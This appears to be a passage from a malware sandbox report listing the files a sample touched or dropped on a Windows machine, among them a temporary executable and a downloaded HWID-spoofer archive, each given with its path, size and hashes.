SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 dec9157ec5d3b261e9b9c13cb6e2dbb186d45c114303b3dd4d0115bba5c6fca5
MD5 5985c7dba0deaa54269408ef11597b98
SHA1 20c06edbdcdcaa2bfa524fc9980460b421199453
SHA512 6c69f774114444735fc0d6a4802687f164ef4748964107ff85d2e10ddb5ed6bfe756e9f0977af2ce8d4c472228c698561eea971d4f0d825b8487d2e3e8899336
TLSH
T17AE02B65CC21EC2718FD0B68A55D4756E79113173640495F3B3C91088FB062785C5C5C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 0a1796dbacd89e3e723866bdefcb1524d4a778658f8f72c176f85b70645af20a
MD5 c0f83259852aee8f63ef2f38c3bbc922
SHA1 2764e20a56736e85c4df18272800198bf5feeb72
SHA512 49c7fa4110c331b4cda27b4935ef9bd54c66e66b45238045dcbd87551582f40ab725d79e1cb13ecb3175287f739f1e85f40d5f8cdc7f4eab05d8a853807641ee
TLSH
T1D07108BAC94378A1FF765032A0C00ACA3C71C9E9FB22FE7551A07874CA0BB54405B9F8
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 99edf5cc627786c1d475d778658c5e4b9701729af7f80595b2e8d7fc7a6bc9d9
MD5 1bb07c17e54f6a0336b77e2f8037ded0
SHA1 f2250845be2651d9aea95ce2346697b6f3ab6c9f
SHA512 7ea71c812447b3526028e6eb28c160cdb50ce9d5c76986789508ad347bbbb482d49413f183a10f67bfc12cb3d521ae65ec7142afb215f3e44f9b635979ee2252
SSDEEP 192:sxZPRGyMqZjK1Ml8M9y/fysvsZdizodpQ2KHFa6+WNKVEqXYvU/YtbuIg5iOJ:sxZPn1y/fysvszZiHRIXNECoa
TLSH
T17E62F9066A785D7B8CDBD219F695BF53D6F9112392905E4499FC8E0C00E7BED220382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 eecc68e82413822dafdb28eb911c4deda380d18a83f92c0e057bbb5eca9e4646
MD5 46068d977b12da6bca145cff4d0de2ae
SHA1 b37449f58e141bfb4a5db42056ace68a2db4561f
SHA512 bfed3ca91aaee15bb92de63da4545c6dc0d1fda6c678cc4052bf292f0deed25c8fdda4a376f6668d6fa345483458529df036077158e8d7c48191a7f19947b4f5
SSDEEP 192:sxZPRGyMqZjK1Ml8Mky/fyss1xaZdizodpQ2KHFa6+WNKVHs/YvHuJtbuIgjOJ:sxZPnMy/fyss1xazZiHR5/RCja
TLSH
T10E62E8166A389D778DDBD219F654BB53D2F9112392905E44A9FCCE1C04E7BEC220382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 d3ed28410c95bcdd49b775e999633ec95a9fd79e43121075d441a0e078c22041
MD5 f69e750b13c549c16996bde771106f07
SHA1 f3ce7bce220e59cf4ead817ef6423038f0d78324
SHA512 f942c9f08562a4828ba0e5eddd4688fc3995511e90fac2e939ef5f22ba5105f580b294d4c4e56e3adef92b0304627a7501a96a18e13b795a929ffee8b420600b
SSDEEP 768:ZYsv8Od/hWvFvmX8F1+UoAYDCx9Tuqh0VfUC9xbog/OVA0LlEe9NsQroIRLO:eY8Od/hWvFvmXu1ja10Lm2NuIq
TLSH
T19BD20B3B680CCB7E4F840D9DEC2A6F966DD801CB66984D5447FA884C03C77EB521B59B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 d81a0600777819276548db53736aeed426be7adc83acd209bc5b2352b2dbcea0
MD5 da9ceea9b9101629a63fa41db9a8785b
SHA1 b2f894343f782f165ee685de8c53b8d6722d365c
SHA512 d6b358109579a6b61595ffd6fd2b236e4616513c154574a14c2947949fe1b3f05bb0fd3e87225fc198d556c96627001e96c0f3615e505b265502b711d3b9a0cd
SSDEEP 96:Ko7iKcsW23iKoM7LKKc026WEKjKkAAK9Gq+xGKqkJ7yKkc++dmKWI94gK966GbGG:05ppxnY753RNBvRJJdt7p5J9NpZM
TLSH
T134B2695A703A0211393E2988B39696364F4235A37058E4BF7FB814A54F67E225CFDCED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 bbaf937a19475647cb412a4bda6b38776838a44608bea2849e832e054e9cb3d6
MD5 f9bdf76873dcb545126ae66cb5ba2b24
SHA1 fd90297b84eb632dafd56ed956749279009b41a7
SHA512 a919050dca04c8b091fd57a64d85cd2396bfa61f3c28a790938c27f936957f5c7c2773c037f0949bd2b67ae8a0c512688651b8e3a8960eea240f4bfa6b139617
SSDEEP 384:nbiF3ZcI93sNJ8TUNTUlI4XQckCr+55phiftGNZO0saBkyrs7I3lavty/7Igc:2F/93gwgekLnoGNElss7Ik5
TLSH
T1DDC23972ECA8DA77BCE79B85E75A3603DEF44123858C9AD4D5D96D1C00971DD030BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 8758430ee770e1168e6b7bc11a96a8e28c856e9d40a4763b55a8c58faa0c25ef
MD5 2e906363a7dc87811825e2996fc8d3b9
SHA1 9b775c958092952e41850bf5b308e2eade58d4d1
SHA512 9ffa4d44ff8cfdf35e7bace15adfd31a966c7e0913686022972000a77fe552a5c1504a32fe4f34418faa799b28bf9c57e5e6d519e3f2cbe97f0d0765f89fb9b7
SSDEEP 384:npziF9CcmyWCs3sNx8TUNTUlIm2QckCr9l/KphiftGNZO0saDhp6e4KV8p054HVt:peFccps38wgbkUNkoGNEsuI8p0gH
TLSH
T150B25D36EC68DEB7ECE74F99B74A7A07DEE01227859C59D4CAD81E1D00931DC530B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 b6af6237886eab754ca1a719c6082f0e84400a955621a53fd3c62a7c4848f39d
MD5 3772f8d32f380217529fadd8464091d7
SHA1 5bce12ead70d9eeafb5410e0ea927c89ff4252d4
SHA512 376bf93d7d9092de5a5867ca1dd38925cbe7995431a729a96baf5c05dcf7339800c792c6311bdf403cc70e10e70cbf144d547fe062589d3c41eac3667299dcd7
SSDEEP 384:npHiF9CcmyWCd3sNJ8TUNTUlI49QckCrp55phiftGNZO0saBkyrs7I3lavty/7IK:pCFccpd3gwg4kcnoGNElss7Ikm
TLSH
T1BCB23936EC68CEB7ECE75B89E75A3643DEE44223898C9AE4D9D91E1C00871DD530BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 371f1c5ce1f64dc076326ef80d0ab0d0e864cf7c0dadd1d9735c447256fe52b8
MD5 4160727438f902b57aeac3beb9bf0694
SHA1 7960b0975ab549a3060640259813d014d03fb3be
SHA512 2ad6905c00014b918669c6daddc473ae9a4dca5b175c3d14c11711296f3a00309424ff4c89b2c9d85a60ffedefe651820afdb2421fd84df62a2e161312370ac4
SSDEEP 384:npjiF9CcmyWCs3sNd8TUNTUlIm2QckCr9UvqphiftGNZO0saBkyrv7Ie4KV8p05o:pOFccps3wwgbkUIEoGNElsv7II8p0gH
TLSH
T17FC24B36EC68CEB7ECD74B99A74A3907DEE05227C68C9AE4C9D92D1C00D71DC530B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 f14b7e2ae2ee887bca7571b6bdda8633ea7c07601931f25dfdad5307c37e10bb
MD5 6241d3c05540ac24fdecd687e9ef7875
SHA1 613238a3ee69c8e142f108640f19201df748c7ef
SHA512 cb79dcfdab716ec7ec172f760c045c568c1135ee06a67bf1762b017b6ecefa857851ff8bac8c5b027aeaaa5b53d95fcf83a5ade034e03903db071e6c8a8cb801
TLSH
T1A2412958B6F91148B3B37E5A9BF6A86D487FB8772F07D05D00110E8E0A66B45C8B2737
MD5 SHA1 SHA512 TLSH

Submit Download

RES4D5B.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES4D5B.tmp
Size 1KB
SHA256 c9053449be5e23c2b72622ffa800fd0eeab067f529e9ac821587d3e42543b00c
MD5 9385ffd04e2c64b00c3890d20faeac4a
SHA1 c5758a33a1017cb94059f6188f341489d1ac10ce
SHA512 7bbdfbced55c7cae1df4c3e607204a7b316a4e494c902b7c80cbce6c600a9126805de8c28284f59be24dabb3a03d6447578ac72c99aa42be64d80deb81e78d5d
TLSH
T19621CC0997E9471AF0B35731A9FA136FA229FD94EF61A39BC54042282C41644DEE1E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_unvlg1wd.a3f.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_unvlg1wd.a3f.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

hpd5vwbw.dll

Path C:\Users\Admin\AppData\Local\Temp\hpd5vwbw\hpd5vwbw.dll
Size 3KB
SHA256 bceaf97f4b156166ae5bbf6620cb28ace664b242c82ce0578b3c4e1bcf4b3797
MD5 d2534989ea246acd7668d8363aa51079
SHA1 05a6bca1060dfccb767781165a0da19083ea1a1a
SHA512 d703d39dd47c9a5fe2761a64997ec2eb829efc232baaefa415433756ff2c625866f6546d8c326a17f56aef0362054504959fc36f47a2d10bd1665639be4fc124
TLSH
T12C71C007E7E84A6BF8730770AAF303566774F8509E63976F49C042697D01B24AE72BA0
MD5 SHA1 SHA512 TLSH

Submit Download

tempcache.exe

Path C:\Users\Admin\AppData\Local\Temp\tempcache.exe
Size 6.6MB
SHA256 edc4460d3dd2fc1fcae6c617c8d2728ce311e8cd47f2d6a37d719b924c2ac868
MD5 dca6afeddc135645ec068160a47c9510
SHA1 54c5c2659e3af3aca44fa046fb366cd32f5ed387
SHA512 e6f16736acba789d0bb00fe7f1e8a123bee7fee8eff03fa5df8fca32cdce3df2593cac0fe226b2ac37d9f69b3812c8652a1fba5dd37220019256034d88e463c2
SSDEEP 98304:Fa7im/aOxHSGYKOKaPuWn0yMxnTq0dKtxaEe+5HX9iOEtYsJw:Fa7fauH/NOKaP30dlTps28XQD+si
TLSH
T185668D2F611403ECC86DC63984CF2199F56035685338AFEFB2905B211FB6AE46FB9647
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Syntex Hwid Spoofer.zip.crdownload

Path C:\Users\Admin\Downloads\Syntex Hwid Spoofer.zip.crdownload
Size 9.3MB
SHA256 0d2ebf496a576820547777b1ee31e9870c5b217f513262b66dc138bc84f58e5b
MD5 57cc0dfe8f541a6dbf58bb8e50e9dabe
SHA1 7504caae40e3ffc5d608ff7d5529f3489f56d7e9
SHA512 f293d47ea1d1d79880e97ea8545145cbc2c93e031d340643c9bbbb601f18abc878092380780acf7af82712f720a863b619944deb643b7bc2df4b95cb86b1e211
SSDEEP 196608:FKOe1HP/ZEZJ1JrEbGzs50a3sskbY3T++zYMH1A:FKBPxYJ1BE6u0ac3AzFH1A
TLSH
T178A633FD134DC9C3FBA64A1F6F19C9E6FB2149409925B529C7DCE2C4B6029DC7CA2188
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC7A022491F7CA447599B1E934A6B627CC.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\hpd5vwbw\CSC7A022491F7CA447599B1E934A6B627CC.TMP
Size 652B
SHA256 e607fb50d7c93740b7882b5997328cdec3c24ae1edc8acf6ee927d03428748f0
MD5 c1d2bb9208164e3305b922944fdc602c
SHA1 e680e316445567cbb913ddbe0d8c298a16dbb285
SHA512 f78c7ae6660c8b7d774ce32c7ffa84a3b67135d83c4a83e0788cc2c26acfbb57df5617acb03bcd0210b523946b790845c5618da79a2685b360f3bc5059a87aef
TLSH
T1DAF05E0963F8020EF0F34B70BDF653A3D5A9BCA4DE7293ED554043692C646148972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

hpd5vwbw.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\hpd5vwbw\hpd5vwbw.0.cs
Size 311B
SHA256 9a015aa8f36e6b135e9b423b498a9f7a1ba9c88ca290b986010ce647b644318c
MD5 15f236aace68dcfc8bd412f91e2e5f0b
SHA1 91d1bf483b9a1e027abf6bbd9862e6d813b2101d
SHA512 f48ed528c2eaa49e3f196df14300c6b6f47eebcacc4896fca64403c139dc2753ca6633926ea25793440948de60bc3da0f7c04a540c768a769f602ef618b3ef9b
TLSH
T113E07D4962C1FB70596641511902D1D07F1EE65304871C26B6CD03515F23F38E97C642
MD5 SHA1 SHA512 TLSH

Submit Download

hpd5vwbw.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\hpd5vwbw\hpd5vwbw.cmdline
Size 369B
SHA256 c6dde350648c4e7fdcde7fc1abe64e8a6ec6f404c763035a40ffe06870b0ee7e
MD5 e2fa382aa0ed2aeae30619d3d05bf39d
SHA1 fba218e2bf4d4b76949d3fdded2e61d18d35285a
SHA512 8e9c9843b96541a2f78e7e0f474e2604659da0af544b0d71e0eecf69f811d296f436f0751f5930b8c18a64fd0e9dcdcfe536597e12dce657bf52919b2bd61f1a
TLSH
T1AEE0C63A4647CA7D41ED580B266AC4ECC2B307832982BFC7F060840DF02F800ABD3785
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1996-286-0x0000029C86460000-0x0000029C86482000-memory.dmp

Download

memory/2396-301-0x000001DAF8320000-0x000001DAF84E2000-memory.dmp

Download

memory/2396-314-0x000001DADFA20000-0x000001DADFA28000-memory.dmp

Download

memory/2840-237-0x0000029796610000-0x0000029797610000-memory.dmp

Download

memory/2844-326-0x0000025C91540000-0x0000025C91BEC000-memory.dmp

Download

memory/2844-327-0x0000025CAC310000-0x0000025CAC52C000-memory.dmp

Download